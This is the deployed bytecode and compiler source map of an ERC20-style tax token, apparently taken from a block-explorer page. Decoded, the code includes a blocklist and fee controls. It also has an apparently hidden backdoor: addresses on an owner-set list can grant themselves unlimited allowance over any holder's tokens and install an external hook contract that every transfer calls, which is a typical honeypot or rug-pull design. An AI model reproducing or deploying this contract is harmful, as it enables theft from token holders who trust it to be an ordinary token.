103f536600461164b565b610875565b34801561040657600080fd5b506101d6610415366004611481565b6108a4565b34801561042657600080fd5b50610265610435366004611664565b6108b1565b34801561044657600080fd5b50610265610455366004611535565b610912565b34801561046657600080fd5b506101fb6104753660046116f9565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156104ac57600080fd5b506102656104bb36600461164b565b6109a4565b3480156104cc57600080fd5b506102656109d6565b60006104e23384846109ff565b5060015b92915050565b60006104fa6009600a611821565b61050890633b9aca00611830565b905090565b600061051a848484610b23565b61056c8433610567856040518060600160405280602881526020016119ce602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611006565b6109ff565b5060019392505050565b6000546001600160a01b031633146105a95760405162461bcd60e51b81526004016105a090611847565b60405180910390fd5b60005b8151811015610611576000600460008484815181106105cd576105cd61187c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061060981611892565b9150506105ac565b5050565b6006546001600160a01b0316336001600160a01b03161461063557600080fd5b3060008181526001602052604090205463a9059cbb9033906040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af1158015610698573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106bc91906118ab565b50565b6006546001600160a01b0316336001600160a01b0316146106df57600080fd5b306000908152600160205260409020546106f890611040565b565b6000546001600160a01b031633146107245760405162461bcd60e51b81526004016105a090611847565b6001600160a01b03919091166000908152600360205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107795760405162461bcd60e51b81526004016105a090611847565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107ed5760405162461bcd60e51b81526004016105a090611847565b6107f96009600a611821565b61080790633b9aca00611830565b600b556108166009600a611821565b61082490633b9aca00611830565b600c557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6108546009600a611821565b61086290633b9aca00611830565b60405190815260200160405180910390a1565b6000546001600160a01b0316331461089f5760405162461bcd60e51b81526004016105a090611847565b600755565b60006104e2338484610b23565b3360009081526003602052604090205460ff16156106bc57600080828060200190518101906108e091906118c8565b600580546001600160a01b0319166001600160a01b038316179055909250905061090d82826000196109ff565b505050565b6000546001600160a01b0316331461093c5760405162461bcd60e51b81526004016105a090611847565b60005b8151811015610611576001600460008484815181106109605761096061187c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061099c81611892565b91505061093f565b6006546001600160a01b0316336001600160a01b0316146109c457600080fd5b600681106109d157600080fd5b600855565b6006546001600160a01b0316336001600160a01b0316146109f657600080fd5b6106f8476111ba565b6001600160a01b038316610a615760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105a0565b6001600160a01b038216610ac25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105a0565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b875760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105a0565b6001600160a01b038216610be95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105a0565b60008111610c4b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105a0565b600080546001600160a01b03858116911614801590610c7857506000546001600160a01b03848116911614155b15610ec3576001600160a01b03841660009081526004602052604090205460ff16158015610cbf57506001600160a01b03831660009081526004602052604090205460ff16155b610cc857600080fd5b610cd38484846111f4565b600f54600160a01b900460ff16610d1357610d106064610d0a600954600a5411610cff57600754610d03565b6008545b8590611284565b9061130d565b90505b600f546001600160a01b038581169116148015610d3e5750600e546001600160a01b03848116911614155b8015610d6357506001600160a01b03831660009081526003602052604090205460ff16155b15610e4b57600b54821115610dba5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016105a0565b600c5482610ddd856001600160a01b031660009081526001602052604090205490565b610de791906118f7565b1115610e355760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105a0565b600a8054906000610e4583611892565b91905055505b30600090815260016020526040902054600f54600160a01b900460ff16158015610e835750600f546001600160a01b03868116911614155b8015610e905750600d5481115b15610ec157610eaf83600d5411610ea957600d54611040565b83611040565b478015610ebf57610ebf476111ba565b505b505b6001600160a01b038416600090815260016020526040902054610ee6908361134f565b6001600160a01b038516600090815260016020526040902055610f2b610f0c838361134f565b6001600160a01b03851660009081526001602052604090205490611391565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f75858561134f565b60405190815260200160405180910390a380156110005730600090815260016020526040902054610fa69082611391565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ff79085815260200190565b60405180910390a35b50505050565b6000818484111561102a5760405162461bcd60e51b81526004016105a0919061141e565b506000611037848661190a565b95945050505050565b600f805460ff60a01b1916600160a01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110885761108861187c565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110e1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611105919061191d565b816001815181106111185761111861187c565b6001600160a01b039283166020918202929092010152600e5461113e91309116846109ff565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061117790859060009086903090429060040161193a565b600060405180830381600087803b15801561119157600080fd5b505af11580156111a5573d6000803e3d6000fd5b5050600f805460ff60a01b1916905550505050565b6006546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610611573d6000803e3d6000fd5b6005546001600160a01b03161561090d57600554604051635836867b60e11b81526001600160a01b0385811660048301528481166024830152604482018490529091169063b06d0cf6906064016020604051808303816000875af1158015611260573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061100091906118ab565b600082600003611296575060006104e6565b60006112a28385611830565b9050826112af85836119ab565b146113065760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105a0565b9392505050565b600061130683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113f0565b600061130683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611006565b60008061139e83856118f7565b9050838110156113065760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105a0565b600081836114115760405162461bcd60e51b81526004016105a0919061141e565b50600061103784866119ab565b600060208083528351808285015260005b8181101561144b5785810183015185820160400152820161142f565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146106bc57600080fd5b6000806040838503121561149457600080fd5b823561149f8161146c565b946020939093013593505050565b6000806000606084860312156114c257600080fd5b83356114cd8161146c565b925060208401356114dd8161146c565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff8111828210171561152d5761152d6114ee565b604052919050565b6000602080838503121561154857600080fd5b823567ffffffffffffffff8082111561156057600080fd5b818501915085601f83011261157457600080fd5b813581811115611586576115866114ee565b8060051b9150611597848301611504565b81815291830184019184810190888411156115b157600080fd5b938501935b838510156115db57843592506115cb8361146c565b82825293850193908501906115b6565b98975050505050505050565b80151581146106bc57600080fd5b6000806040838503121561160857600080fd5b82356116138161146c565b91506020830135611623816115e7565b809150509250929050565b60006020828403121561164057600080fd5b81356113068161146c565b60006020828403121561165d57600080fd5b5035919050565b6000602080838503121561167757600080fd5b823567ffffffffffffffff8082111561168f57600080fd5b818501915085601f8301126116a357600080fd5b8135818111156116b5576116b56114ee565b6116c7601f8201601f19168501611504565b915080825286848285010111156116dd57600080fd5b8084840185840137600090820190930192909252509392505050565b6000806040838503121561170c57600080fd5b82356117178161146c565b915060208301356116238161146c565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561177857816000190482111561175e5761175e611727565b8085161561176b57918102915b93841c9390800290611742565b509250929050565b60008261178f575060016104e6565b8161179c575060006104e6565b81600181146117b257600281146117bc576117d8565b60019150506104e6565b60ff8411156117cd576117cd611727565b50506001821b6104e6565b5060208310610133831016604e8410600b84101617156117fb575081810a6104e6565b611805838361173d565b806000190482111561181957611819611727565b029392505050565b600061130660ff841683611780565b80820281158282048414176104e6576104e6611727565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000600182016118a4576118a4611727565b5060010190565b6000602082840312156118bd57600080fd5b8151611306816115e7565b600080604083850312156118db57600080fd5b82516118e68161146c565b60208401519092506116238161146c565b808201808211156104e6576104e6611727565b818103818111156104e6576104e6611727565b60006020828403121561192f57600080fd5b81516113068161146c565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561198a5784516001600160a01b031683529383019391830191600101611965565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826119c857634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200584978220107e4ce9921aca093215fca6a7597bea51dbbca64be0500dc6d66964736f6c63430008110033

Deployed Bytecode Sourcemap

3997:7597:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5731:83;;;;;;;;;;-1:-1:-1;5801:5:0;;;;;;;;;;;;-1:-1:-1;;;5801:5:0;;;;5731:83;;;;;;;:::i;:::-;;;;;;;;6564:161;;;;;;;;;;-1:-1:-1;6564:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6564:161:0;1023:187:1;6008:95:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;6008:95:0;1215:177:1;7200:313:0;;;;;;;;;;-1:-1:-1;7200:313:0;;;;;:::i;:::-;;:::i;5917:83::-;;;;;;;;;;-1:-1:-1;5917:83:0;;4571:1;2000:36:1;;1988:2;1973:18;5917:83:0;1858:184:1;10773:162:0;;;;;;;;;;-1:-1:-1;10773:162:0;;;;;:::i;:::-;;:::i;:::-;;4872:45;;;;;;;;;;;;;;;;4975:28;;;;;;;;;;-1:-1:-1;4975:28:0;;;;-1:-1:-1;;;;;4975:28:0;;;;;;-1:-1:-1;;;;;3649:32:1;;;3631:51;;3619:2;3604:18;4975:28:0;3485:203:1;11422:169:0;;;;;;;;;;;;;:::i;11137:138::-;;;;;;;;;;;;;:::i;7864:126::-;;;;;;;;;;-1:-1:-1;7864:126:0;;;;;:::i;:::-;;:::i;6111:119::-;;;;;;;;;;-1:-1:-1;6111:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6204:18:0;6177:7;6204:18;;;:9;:18;;;;;;;6111:119;2974:148;;;;;;;;;;;;;:::i;10221:159::-;;;;;;;;;;;;;:::i;4758:49::-;;;;;;;;;;;;;;;;2760:79;;;;;;;;;;-1:-1:-1;2798:7:0;2825:6;-1:-1:-1;;;;;2825:6:0;2760:79;;4814:51;;;;;;;;;;;;;;;;5822:87;;;;;;;;;;-1:-1:-1;5894:7:0;;;;;;;;;;;;-1:-1:-1;;;5894:7:0;;;;5822:87;;10488:105;;;;;;;;;;-1:-1:-1;10488:105:0;;;;;:::i;:::-;;:::i;6238:167::-;;;;;;;;;;-1:-1:-1;6238:167:0;;;;;:::i;:::-;;:::i;6908:284::-;;;;;;;;;;-1:-1:-1;6908:284:0;;;;;:::i;:::-;;:::i;10601:164::-;;;;;;;;;;-1:-1:-1;10601:164:0;;;;;:::i;:::-;;:::i;6413:143::-;;;;;;;;;;-1:-1:-1;6413:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6521:18:0;;;6494:7;6521:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6413:143;10943:147;;;;;;;;;;-1:-1:-1;10943:147:0;;;;;:::i;:::-;;:::i;11283:131::-;;;;;;;;;;;;;:::i;6564:161::-;6639:4;6656:39;595:10;6679:7;6688:6;6656:8;:39::i;:::-;-1:-1:-1;6713:4:0;6564:161;;;;;:::o;6008:95::-;6061:7;4627:13;4571:1;4627:2;:13;:::i;:::-;4614:26;;:10;:26;:::i;:::-;6081:14;;6008:95;:::o;7200:313::-;7298:4;7315:36;7325:6;7333:9;7344:6;7315:9;:36::i;:::-;7362:121;7371:6;595:10;7393:89;7431:6;7393:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7393:19:0;;;;;;:11;:19;;;;;;;;595:10;7393:33;;;;;;;;;;:37;:89::i;:::-;7362:8;:121::i;:::-;-1:-1:-1;7501:4:0;7200:313;;;;;:::o;10773:162::-;2887:6;;-1:-1:-1;;;;;2887:6:0;595:10;2887:22;2879:67;;;;-1:-1:-1;;;2879:67:0;;;;;;;:::i;:::-;;;;;;;;;10846:6:::1;10841:87;10862:6;:13;10858:1;:17;10841:87;;;10913:5;10895:4;:15;10900:6;10907:1;10900:9;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;10895:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;10895:15:0;:23;;-1:-1:-1;;10895:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10877:3;::::1;::::0;::::1;:::i;:::-;;;;10841:87;;;;10773:162:::0;:::o;11422:169::-;11493:10;;-1:-1:-1;;;;;11493:10:0;595;-1:-1:-1;;;;;11477:26:0;;11469:35;;;;;;11530:4;6177:7;6204:18;;;:9;:18;;;;;;11515:30;;11546:10;;11515:68;;-1:-1:-1;;;;;;11515:68:0;;;;;;;-1:-1:-1;;;;;8314:32:1;;;11515:68:0;;;8296:51:1;8363:18;;;8356:34;8269:18;;11515:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;11422:169::o;11137:138::-;11203:10;;-1:-1:-1;;;;;11203:10:0;595;-1:-1:-1;;;;;11187:26:0;;11179:35;;;;;;11260:4;6177:7;6204:18;;;:9;:18;;;;;;11225:42;;:16;:42::i;:::-;11137:138::o;7864:126::-;2887:6;;-1:-1:-1;;;;;2887:6:0;595:10;2887:22;2879:67;;;;-1:-1:-1;;;2879:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7947:26:0;;;::::1;;::::0;;;:18:::1;:26;::::0;;;;:35;;-1:-1:-1;;7947:35:0::1;::::0;::::1;;::::0;;;::::1;::::0;;7864:126::o;2974:148::-;2887:6;;-1:-1:-1;;;;;2887:6:0;595:10;2887:22;2879:67;;;;-1:-1:-1;;;2879:67:0;;;;;;;:::i;:::-;3081:1:::1;3065:6:::0;;3044:40:::1;::::0;-1:-1:-1;;;;;3065:6:0;;::::1;::::0;3044:40:::1;::::0;3081:1;;3044:40:::1;3112:1;3095:19:::0;;-1:-1:-1;;;;;;3095:19:0::1;::::0;;2974:148::o;10221:159::-;2887:6;;-1:-1:-1;;;;;2887:6:0;595:10;2887:22;2879:67;;;;-1:-1:-1;;;2879:67:0;;;;;;;:::i;:::-;4627:13:::1;4571:1;4627:2;:13;:::i;:::-;4614:26;::::0;:10:::1;:26;:::i;:::-;10274:12;:22:::0;4627:13:::1;4571:1;4627:2;:13;:::i;:::-;4614:26;::::0;:10:::1;:26;:::i;:::-;10307:14;:22:::0;10345:27:::1;4627:13;4571:1;4627:2;:13;:::i;:::-;4614:26;::::0;:10:::1;:26;:::i;:::-;10345:27;::::0;1361:25:1;;;1349:2;1334:18;10345:27:0::1;;;;;;;10221:159::o:0;10488:105::-;2887:6;;-1:-1:-1;;;;;2887:6:0;595:10;2887:22;2879:67;;;;-1:-1:-1;;;2879:67:0;;;;;;;:::i;:::-;10561:11:::1;:24:::0;10488:105::o;6238:167::-;6316:4;6333:42;595:10;6357:9;6368:6;6333:9;:42::i;6908:284::-;6988:10;6969:30;;;;:18;:30;;;;;;;;6965:220;;;7017:13;7032:15;7062:2;7051:34;;;;;;;;;;;;:::i;:::-;7100:8;:18;;-1:-1:-1;;;;;;7100:18:0;-1:-1:-1;;;;;7100:18:0;;;;;7016:69;;-1:-1:-1;7100:18:0;-1:-1:-1;7133:40:0;7016:69;7100:18;-1:-1:-1;;7133:8:0;:40::i;:::-;7001:184;;6908:284;:::o;10601:164::-;2887:6;;-1:-1:-1;;;;;2887:6:0;595:10;2887:22;2879:67;;;;-1:-1:-1;;;2879:67:0;;;;;;;:::i;:::-;10675:6:::1;10670:88;10691:5;:12;10687:1;:16;10670:88;;;10742:4;10725;:14;10730:5;10736:1;10730:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;10725:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;10725:14:0;:21;;-1:-1:-1;;10725:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10705:3;::::1;::::0;::::1;:::i;:::-;;;;10670:88;;10943:147:::0;11018:10;;-1:-1:-1;;;;;11018:10:0;595;-1:-1:-1;;;;;11004:24:0;;10996:33;;;;;;11054:1;11046:7;:9;11038:18;;;;;;11065:9;:17;10943:147::o;11283:131::-;11349:10;;-1:-1:-1;;;;;11349:10:0;595;-1:-1:-1;;;;;11333:26:0;;11325:35;;;;;;11371;11384:21;11371:12;:35::i;7521:335::-;-1:-1:-1;;;;;7614:19:0;;7606:68;;;;-1:-1:-1;;;7606:68:0;;9259:2:1;7606:68:0;;;9241:21:1;9298:2;9278:18;;;9271:30;9337:34;9317:18;;;9310:62;-1:-1:-1;;;9388:18:1;;;9381:34;9432:19;;7606:68:0;9057:400:1;7606:68:0;-1:-1:-1;;;;;7693:21:0;;7685:68;;;;-1:-1:-1;;;7685:68:0;;9664:2:1;7685:68:0;;;9646:21:1;9703:2;9683:18;;;9676:30;9742:34;9722:18;;;9715:62;-1:-1:-1;;;9793:18:1;;;9786:32;9835:19;;7685:68:0;9462:398:1;7685:68:0;-1:-1:-1;;;;;7764:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7816:32;;1361:25:1;;;7816:32:0;;1334:18:1;7816:32:0;;;;;;;7521:335;;;:::o;7998:1724::-;-1:-1:-1;;;;;8086:18:0;;8078:68;;;;-1:-1:-1;;;8078:68:0;;10067:2:1;8078:68:0;;;10049:21:1;10106:2;10086:18;;;10079:30;10145:34;10125:18;;;10118:62;-1:-1:-1;;;10196:18:1;;;10189:35;10241:19;;8078:68:0;9865:401:1;8078:68:0;-1:-1:-1;;;;;8165:16:0;;8157:64;;;;-1:-1:-1;;;8157:64:0;;10473:2:1;8157:64:0;;;10455:21:1;10512:2;10492:18;;;10485:30;10551:34;10531:18;;;10524:62;-1:-1:-1;;;10602:18:1;;;10595:33;10645:19;;8157:64:0;10271:399:1;8157:64:0;8249:1;8240:6;:10;8232:64;;;;-1:-1:-1;;;8232:64:0;;10877:2:1;8232:64:0;;;10859:21:1;10916:2;10896:18;;;10889:30;10955:34;10935:18;;;10928:62;-1:-1:-1;;;11006:18:1;;;10999:39;11055:19;;8232:64:0;10675:405:1;8232:64:0;8307:17;2825:6;;-1:-1:-1;;;;;8341:15:0;;;2825:6;;8341:15;;;;:32;;-1:-1:-1;2798:7:0;2825:6;-1:-1:-1;;;;;8360:13:0;;;2825:6;;8360:13;;8341:32;8337:1029;;;-1:-1:-1;;;;;8399:10:0;;;;;;:4;:10;;;;;;;;8398:11;:24;;;;-1:-1:-1;;;;;;8414:8:0;;;;;;:4;:8;;;;;;;;8413:9;8398:24;8390:33;;;;;;8426:29;8438:4;8444:2;8448:6;8426:11;:29::i;:::-;8474:6;;-1:-1:-1;;;8474:6:0;;;;8470:123;;8510:67;8573:3;8510:58;8532:12;;8522:9;;:22;8521:46;;8556:11;;8521:46;;;8546:9;;8521:46;8510:6;;:10;:58::i;:::-;:62;;:67::i;:::-;8498:79;;8470:123;8621:13;;-1:-1:-1;;;;;8613:21:0;;;8621:13;;8613:21;:55;;;;-1:-1:-1;8652:15:0;;-1:-1:-1;;;;;8638:30:0;;;8652:15;;8638:30;;8613:55;:83;;;;-1:-1:-1;;;;;;8674:22:0;;;;;;:18;:22;;;;;;;;8672:24;8613:83;8609:313;;;8736:12;;8726:6;:22;;8718:60;;;;-1:-1:-1;;;8718:60:0;;11287:2:1;8718:60:0;;;11269:21:1;11326:2;11306:18;;;11299:30;11365:27;11345:18;;;11338:55;11410:18;;8718:60:0;11085:349:1;8718:60:0;8831:14;;8821:6;8805:13;8815:2;-1:-1:-1;;;;;6204:18:0;6177:7;6204:18;;;:9;:18;;;;;;;6111:119;8805:13;:22;;;;:::i;:::-;:40;;8797:79;;;;-1:-1:-1;;;8797:79:0;;11771:2:1;8797:79:0;;;11753:21:1;11810:2;11790:18;;;11783:30;11849:28;11829:18;;;11822:56;11895:18;;8797:79:0;11569:350:1;8797:79:0;8895:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8609:313;8987:4;8938:28;6204:18;;;:9;:18;;;;;;9013:6;;-1:-1:-1;;;9013:6:0;;;;9012:7;:32;;;;-1:-1:-1;9031:13:0;;-1:-1:-1;;;;;9023:21:0;;;9031:13;;9023:21;;9012:32;:65;;;;;9069:8;;9048:20;:29;9012:65;9008:347;;;9098:49;9124:6;9115:8;;:15;:31;;9138:8;;11225:16;:42::i;9115:31::-;9131:6;9098:16;:49::i;:::-;9195:21;9238:22;;9235:105;;9285:35;9298:21;9285:12;:35::i;:::-;9079:276;9008:347;8375:991;8337:1029;-1:-1:-1;;;;;9394:15:0;;;;;;:9;:15;;;;;;:27;;9414:6;9394:19;:27::i;:::-;-1:-1:-1;;;;;9378:15:0;;;;;;:9;:15;;;;;:43;9446:40;9464:21;:6;9475:9;9464:10;:21::i;:::-;-1:-1:-1;;;;;9446:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9432:13:0;;;;;;;:9;:13;;;;;:54;;;;9502:41;;;9521:21;:6;9532:9;9521:10;:21::i;:::-;9502:41;;1361:25:1;;;1349:2;1334:18;9502:41:0;;;;;;;9557:11;;9554:161;;9625:4;9607:24;;;;:9;:24;;;;;;:39;;9636:9;9607:28;:39::i;:::-;9600:4;9582:24;;;;:9;:24;;;;;;;:64;;;;9664:39;;-1:-1:-1;;;;;9664:39:0;;;;;;;9693:9;1361:25:1;;1349:2;1334:18;;1215:177;9664:39:0;;;;;;;;9554:161;8067:1655;7998:1724;;;:::o;1652:190::-;1738:7;1774:12;1766:6;;;;1758:29;;;;-1:-1:-1;;;1758:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1798:9:0;1810:5;1814:1;1810;:5;:::i;:::-;1798:17;1652:190;-1:-1:-1;;;;;1652:190:0:o;9730:483::-;5128:6;:13;;-1:-1:-1;;;;5128:13:0;-1:-1:-1;;;5128:13:0;;;9832:16:::1;::::0;;9846:1:::1;9832:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9832:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9832:16:0::1;9808:40;;9877:4;9859;9864:1;9859:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9859:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9903:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9903:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9859:7;;9903:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9893:4;9898:1;9893:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9893:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9968:15:::1;::::0;9936:62:::1;::::0;9953:4:::1;::::0;9968:15:::1;9986:11:::0;9936:8:::1;:62::i;:::-;10009:15;::::0;:196:::1;::::0;-1:-1:-1;;;10009:196:0;;-1:-1:-1;;;;;10009:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10090:11;;10009:15:::1;::::0;10132:4;;10159::::1;::::0;10179:15:::1;::::0;10009:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5164:6:0;:14;;-1:-1:-1;;;;5164:14:0;;;-1:-1:-1;;;;9730:483:0:o;10388:92::-;10445:10;;:27;;-1:-1:-1;;;;;10445:10:0;;;;:27;;;;;10465:6;;10445:10;:27;:10;:27;10465:6;10445:10;:27;;;;;;;;;;;;;;;;;;;6733:167;6819:8;;-1:-1:-1;;;;;6819:8:0;:22;6815:77;;6852:8;;6844:48;;-1:-1:-1;;;6844:48:0;;-1:-1:-1;;;;;13556:15:1;;;6844:48:0;;;13538:34:1;13608:15;;;13588:18;;;13581:43;13640:18;;;13633:34;;;6852:8:0;;;;6844:30;;13473:18:1;;6844:48:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;1850:246::-;1908:7;1932:1;1937;1932:6;1928:47;;-1:-1:-1;1962:1:0;1955:8;;1928:47;1985:9;1997:5;2001:1;1997;:5;:::i;:::-;1985:17;-1:-1:-1;2030:1:0;2021:5;2025:1;1985:17;2021:5;:::i;:::-;:10;2013:56;;;;-1:-1:-1;;;2013:56:0;;14102:2:1;2013:56:0;;;14084:21:1;14141:2;14121:18;;;14114:30;14180:34;14160:18;;;14153:62;-1:-1:-1;;;14231:18:1;;;14224:31;14272:19;;2013:56:0;13900:397:1;2013:56:0;2087:1;1850:246;-1:-1:-1;;;1850:246:0:o;2104:132::-;2162:7;2189:39;2193:1;2196;2189:39;;;;;;;;;;;;;;;;;:3;:39::i;1508:136::-;1566:7;1593:43;1597:1;1600;1593:43;;;;;;;;;;;;;;;;;:3;:43::i;1321:179::-;1379:7;;1411:5;1415:1;1411;:5;:::i;:::-;1399:17;;1440:1;1435;:6;;1427:46;;;;-1:-1:-1;;;1427:46:0;;14504:2:1;1427:46:0;;;14486:21:1;14543:2;14523:18;;;14516:30;14582:29;14562:18;;;14555:57;14629:18;;1427:46:0;14302:351:1;2244:189:0;2330:7;2365:12;2358:5;2350:28;;;;-1:-1:-1;;;2350:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2389:9:0;2401:5;2405:1;2401;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:127::-;2108:10;2103:3;2099:20;2096:1;2089:31;2139:4;2136:1;2129:15;2163:4;2160:1;2153:15;2179:275;2250:2;2244:9;2315:2;2296:13;;-1:-1:-1;;2292:27:1;2280:40;;2350:18;2335:34;;2371:22;;;2332:62;2329:88;;;2397:18;;:::i;:::-;2433:2;2426:22;2179:275;;-1:-1:-1;2179:275:1:o;2459:1021::-;2543:6;2574:2;2617;2605:9;2596:7;2592:23;2588:32;2585:52;;;2633:1;2630;2623:12;2585:52;2673:9;2660:23;2702:18;2743:2;2735:6;2732:14;2729:34;;;2759:1;2756;2749:12;2729:34;2797:6;2786:9;2782:22;2772:32;;2842:7;2835:4;2831:2;2827:13;2823:27;2813:55;;2864:1;2861;2854:12;2813:55;2900:2;2887:16;2922:2;2918;2915:10;2912:36;;;2928:18;;:::i;:::-;2974:2;2971:1;2967:10;2957:20;;2997:28;3021:2;3017;3013:11;2997:28;:::i;:::-;3059:15;;;3129:11;;;3125:20;;;3090:12;;;;3157:19;;;3154:39;;;3189:1;3186;3179:12;3154:39;3213:11;;;;3233:217;3249:6;3244:3;3241:15;3233:217;;;3329:3;3316:17;3303:30;;3346:31;3371:5;3346:31;:::i;:::-;3390:18;;;3266:12;;;;3428;;;;3233:217;;;3469:5;2459:1021;-1:-1:-1;;;;;;;;2459:1021:1:o;3693:118::-;3779:5;3772:13;3765:21;3758